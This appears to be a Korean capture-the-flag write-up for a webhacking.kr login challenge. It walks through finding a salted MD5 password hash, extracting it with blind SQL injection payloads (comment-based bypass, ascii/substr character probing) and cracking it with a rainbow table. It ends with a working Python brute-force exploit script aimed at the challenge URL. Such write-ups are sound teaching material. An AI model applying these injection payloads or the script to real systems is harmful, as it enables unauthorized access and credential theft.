문제분석 & 풀이
admin으로 로그인을 하라는 미션이 주어진다.
join을 통해 계정을 생성할 수 있다.
guest / guest 으로 계정을 생성하고 로그인을 해보자.
[그림]처럼 pw가 해싱된 상태로 출력된다.
해싱된 pw 길이는 32자리로 MD5로 해싱됐다고 추측할 수 있다.
MD5가 맞는지 확인해보기 위해서 "guest"를 MD5로 해싱해서 값을 비교했다.
하지만 결과는 달랐다.
"guest" + salt → 암호값
아마도 단순하게 "guest"를 해싱한게 아니라 salt 값이 추가된 상태로 해싱된 것 같다.
해싱 결과를 복호화하려면 레인보우 테이블을 이용하는 방법 밖에 없다.
○ 레인보우 테이블
특정 알고리즘(ex. MD5)에 대한 평문과 암호문을 테이블 형태로 모두 기록해서 암호문에서 평문으로 변환할 수 있도록 생성하는 테이블이다.
레인보우 테이블은 인터넷에 검색하면 여러 사이트가 나온다.
사이트들을 돌아다녀본 결과, 드디어 평문이 나왔다.
guest + apple 의 형태로 출력된다.
→ 즉, salt가 apple이다.
그렇다면, admin의 pw 해싱 결과는
[admin's pw] + "apple"
을 MD5 해싱한 결과다.
우리가 구해야하는 값은 admin의 pw다. 이를 구하려면 해싱 결과를 알아내야한다.
해싱 결과는 DB에 저장됐을 것이므로 SQL injection으로 구해야한다. 따라서 blind sqli 를 시도해보자.
SQL 쿼리를 예상해보면 다음과 같다.
select * from [table] where id=$id and pw=$pw
select * from [table] where id='guest' and pw='1' or '1'='1'
guest
1' or '1'='1
pw를 이용해서 인젝션이 가능한지 테스트를 진행했다.
인젝션이 성공한다면 "hi! guest" 가 뜨면서 로그인이 되야한다.
진행해본 결과, pw를 이용해서 인젝션하는 것은 불가능한 것 같다. 따라서 이번에는 id를 이용해보기로 했다.
select * from [table] where id='guest'#' and pw='0'
guest'#
0
id로 #을 이용해서 뒷 부분인 pw를 주석 처리하면, id='guest' 만 남아서 id가 guest 인 계정으로 로그인이 될 것이다.
시도해보자.
"Wrong password!" 라고 뜬다.
저번 문제에서도 인젝션에 성공한 경우에는 "Wrong password"라고 떴는데 이번에도 그런 것 같다.
blind sqli를 진행해서 DB에 저장된 admin pw를 알아내자.
select * from [table] where id='admin' and length(pw)=32#' and pw='0'
admin' and length(pw)=32#
admin의 pw가 32자리가 맞는지 확인하기 위해서 로그인을 시도했다.
결과로 "Wrong password!" 라고 뜬다.
인젝션이 정상적으로 수행된다.
select * from [table] where id='admin' and ascii(substr(pw,{i},1))={j}#' and pw='0'
( i는 pw 인덱스 , j는 i번째 인덱스 값 유추하는 변수 )
admin' and ascii(substr(pw,{i},1))={j}#
다음으로 ascii(), substr()을 이용해서 pw를 구해보자.
pw가 출력된다.
예상대로 32자리다.
마지막으로 레인보우 테이블을 이용해서 평문을 알아내자.
"wowapple"이 나왔다.
"apple"은 salt이므로 admin의 pw는 wow라는 것을 알 수 있다.
로그인을 해보자.
exploit
from requests import *
result = ''
count = 0
for i in range(1, 33):
if count > 100:
print('query err')
break
for j in range(30, 128):
url = f'https://webhacking.kr/challenge/bonus-2/'
data = {'uuid':f'''admin' and ascii(substr(pw,{i},1))={j}#''','pw':'0'}
response = post(url=url,data=data)
count += 1
if response.text.find('Wrong password!') != -1:
result += chr(j)
count = 0
break
print('pw :', result)